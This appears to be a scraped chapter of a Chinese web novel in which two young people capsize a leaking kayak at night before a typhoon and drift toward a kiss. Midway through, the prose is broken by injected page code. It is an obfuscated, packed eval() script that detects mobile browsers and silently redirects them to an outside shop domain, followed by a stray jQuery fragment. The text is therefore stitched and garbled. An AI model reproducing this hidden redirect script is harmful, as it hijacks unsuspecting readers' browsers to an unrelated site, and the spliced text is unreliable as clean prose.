“行了少抱怨两句,”李双把摄像机安装在胸口。
“也不完全是因为那本书,网上有个很有意思的都市传说,在灾难来临前,这个港口的守护神会变成会发光的巨鱼,指引迷途的船只回家。现在正好要刮台风,不趁着这个机会一探究竟也太可惜了。”
“可是……好吧,会安全的。”程理还想劝谏几句,被李双的眼神逼得立刻住嘴。
“别乌鸦嘴,气充好了?走吧!”
李双和程理一前一后举着皮划艇,有点像冒险故事里魔王麾下的骷髅小兵,他们迎着冰凉到滚烫的浪花,朝着在月光下波光粼粼又深不见底的海洋冲刺。
皮划艇重重地摔进水里,女孩大笑着跳入,不满的波涛激起千层水幕,倒霉的程理跟在她后面被淋了个透心凉,顺便把口腔都腌成了咸味。
“好,第一步成功!想回到温暖的被窝就拼命划船吧!”李双打开船头的夜灯,然后大手一挥。
眼看她完全没有要帮忙的意思,程理只得认命地抄起船桨,矜矜业业地向前,看着还算宁静的水面,他的脑海控制不住闪过了一些巨物咬碎船桨的画面,越想越害怕的程理赶紧别开目光。
“李双小姐……这附近应该不会有什么大型生物吧?”
“你见过哪个港口边上长大王乌贼的?”李双举起脖子上的望远镜,可惜海面上幽静祥和,偶有几条鱼跃出水面,除此以外什么都没有。
“你好像很喜欢鱼?上次遇到鲸鲨你也一点都不害怕。”
“我喜欢水里游的和天上飞的,”李双放下望远镜,在原地坐好,“你不觉得鲸鱼跃出水面还有白鸥振翅高飞的样子很壮观吗?”
程理点点头,“我只看过鲸鱼跃出水面的视频,没有亲眼见识过。”
“我也没有。”李双居然笑了,“但是你未来会有机会的。”
“承您吉言,”程理突然眼睛一亮。
“那是什么?”
程理放下船桨,小心地趴在皮划艇边缘,幽蓝色的海面之下漂浮着上百只白到近乎透明的水母,它们的头顶有着蝴蝶结一般的可爱纹路,在琥珀色的船头灯下,好像是沙漠上空倒悬着的伞。
李双在程理旁边跟着趴下,脸上的表情相比雀跃的程理要漠然得多。
“我当是什么呢,原来是海月水母,是大人物们最讨厌的生物。”
“为什么?”程理忍不住皱眉,“它们这么漂亮……”
“因为繁殖能力太强了,”李双狡黠地笑了笑,接着伸出手指,轻轻摁了下海月水母富有弹性的身体膜。
“容易堵塞工厂的进水口,只要是妨碍他们赚钱的,再美丽都是面目可憎的。”
“那你呢?你喜欢吗?”
李双转过来,发现在狭窄的皮划艇里,他们想要同时趴下,只能肩膀贴着肩膀,程理那张又蠢又认真的脸近在咫尺,眼球的残缺模糊了他对距离的概念,他没有意识到自己靠得有多近,海浪一下一下拍打在皮艇边缘,好像是港口的心跳在震颤。
“我……其实也不喜欢,”李双知道他没有恶意,于是不着边际地回避了他的目光,“游得太慢、容易死,寿命短,我还是喜欢更朝气蓬勃的生物。”
“就算游得很慢,生命短暂,死了会被狼狈地拍在沙滩上,还会被邪恶直立猿做成凉拌海蜇皮,水母们还是很努力活着啊,多么脆弱的生物,多么顽强的精神!”
“你这聊着天就要上价值的习惯是哪里学来的?”李双挑眉。
“抱歉,”程理尴尬地挠头,“我以为你喜欢这种,因为……”
“什么啊?”李双不冷不热地看着他,想知道这人还能瞎掰出什么。
“因为我感觉你总是很执着于生命啊、活着啊、永恒的灵魂啊这样的话题,总是强迫自己要选择光明灿烂的路,有点像是个心灵上的苦行僧,其实人的话,偶尔也可以自由地胡思乱想一下吧?”
“否定,胡思乱想容易陷入虚无主义,我没必要因为区区水母动摇我的人生信条。”
“好吧好吧,我说服不了你,”程理扶起下巴,“不过你可以试着从万物的亲历者里跳出来,水母也好鲸鱼也罢,人家根本不在乎我们人类怎么评价,无论是水母笨拙地漂浮,还是鲸鱼跃出水面的瞬间,我们安静地看着就好。”
“看着?”
“对,不思考为什么,不思考意义,就只是——看着。”程理谄媚地搓搓手,想学着李双的样子想触碰另一只色彩缤纷的水母。
“我要是你,就不会摸它。”
“难道有毒!”程理赶紧缩回手。
“说对了,”李双点点头,“这个长得奇形怪状又很艳丽的叫做僧帽水母,如果你现在被它蛰伤又正好过敏了,我没有把握能把你活着送到医院。”
“那我们赶紧离它远点,”程理默默回到划船工的岗位,迅速地荡起双桨。
李双趴在原地没有动,对着无垠的海面轻轻地哼起歌来,歌声飘在风里钻进程理的耳朵,他看着女孩的侧脸,有那么一刻希望时间在此停住。
“嘶!”李双突然回过头来,面色不善。
“好冷!你划船的幅度太大了吧,都进水了!”
“怎么会!”程理激烈地反驳,批评他什么都行,就是不能批评他不好好做事!
但是程理下一秒就无法反驳了,刺骨的海水抚摸他的脚踝,冻得他一激灵,脑中顿时有了个不详的预感,他迅速取下船头灯拿在手心。
“不是吧……我的天!”
李双看了看皮划艇,又看了看程理煞白的脸。
“你不要告诉我……船漏气了?”
“我也是第一次给皮划艇打气嘛!”程理欲哭无泪,“而且我有按照说明书检查好,确定没问题了才下水的!”
“天杀的,我就说二手交易市场不行!”李双跳起来,扶起了剩余的船桨,“就剩一半的路了,快划快划!”
“你在二手交易市场买的这个?”程理瞳孔地震。
“对啊!我们就用这么一次,原价两百万坑鬼呢,二手的才八千,我当然选二手的了!”
“你有冇搞错啊?”san值在茫茫大海里狂掉的程理忍不住飚家乡话,“这么重要的东西你买二手就算了,还买这么便宜的二手!怎么看都有诈吧!”
“行了!这件事我们各背50%的锅,赶紧划!”
看着李双把船桨几乎抡出了残影,程理曾经被队友肘击的眉心隐隐作痛,但眼下的情况不容他忆往昔,不想成为鱼食的程理疯狂地摇晃船桨,心里祈祷着这艘该死的二手橡皮艇能够再坚持10分钟。
“呃啊咕噜咕噜——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336030|150819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纵然他们已经使出了浑身解数,但不幸的命运还是降临了,大概在路程三分之二的地方,这艘不堪重负的漏气橡皮艇终于还是坠进了海里。
风浪逐渐变大的海面上,两个穿着救生衣的人类面如死灰地漂着,好像是为了偷吃瓜籽而掉进游泳池的松鼠。
“我不会今天就要死了吧……”程理提着刚刚趁乱救下的船头灯,呆呆地看着与海洋黑得毫无分别的天空。
“别慌!”李双从海水中伸出戴着表的手,“我还有后手!翠丝,把车派过来!再加两条毛毯,我们落水了!”
“太好了是翠丝小姐,我们有救了!”程理喜极而泣。
但是等了两分钟,都没等来一句“好的主人”,两人瞪大了眼睛,同时把脸凑近手表。
“离太远,手表没信号……”李双傻了。
“哈哈,”接连的打击使程理有些精神失常。
“喂你别这样笑,好渗人啊!”
“你现在才觉得渗人吗?”程理恨不得疯狂摇晃女孩的肩膀,把她脑袋里所有疯狂的想法都晃出来,凌晨零点在即将刮台风的海边强迫别人划船的顶级神经病,现在居然说别人渗人?
“别怕!我们只要努力往前游一点,灯塔肯定能接受到信号!”
程理没办法,只能照着她说的做,但是水太冷太冷了,他的体力很快就跟着体温流失,完全跟不上下半身是机械义体的李双。
李双发现他没有跟上来,果断地往回游,用力握住了程理冰凉的手。
“你没力气了么?”
“对……我现在和那个、那个泰坦尼克号里的杰克似的……”
“我没看过泰坦尼克号,”李双对着他的手心哈气,“但我知道杰克最后死了,你就不能说点吉利的?”
“吉利?”生死关头的程理逐渐抛弃了对李双的恐惧,“我觉得最吉利的事情是一开始就不要下水……”
李双的脸上沾着发丝,定定地看着程理的眼睛。
“放心吧,我不会让你死的,至少现在不会。”
说完女孩迅速地解下了救生衣的安全带,把它系到了程理的腹部,在浮力的作用下,程理的身体稍微离开了一丝水面。
“你不穿救生衣了?”程理抓住女孩的手腕。
“不穿了,不然游太慢。”李双突然捧住对方的脸,用额头贴着额头。
“程理,我往前游去找信号,你就拿着灯在原地等我,最多五分钟,我一定会回来找你。”
“好、好的。”程理冻得牙齿打颤,点头都有些吃力。
想不到女孩并没有立刻掉头离开,她保持着抱着程理脑袋的姿势,慢慢贴了过来。
欸?程理愣住。
随着海浪上下的不仅是程理的身体,还有他的心跳,李双目不转睛地盯着他的嘴唇,越靠越近,这是要干嘛?
难不成……
要要要接吻?
在这种时候?在这种地方?
程理不知道她是什么意思,也不知道她为什么要这么做,心跳带着体温几乎是瞬间就涌入了全身,连他刚刚还无法伸展开的四肢都温暖了起来,好像他不是在凌晨的海水里等死,而是泡在安全的浴缸里做梦。
看着女孩轻颤的、带着露珠的睫毛,面颊通红的程理,死死地闭上了眼睛。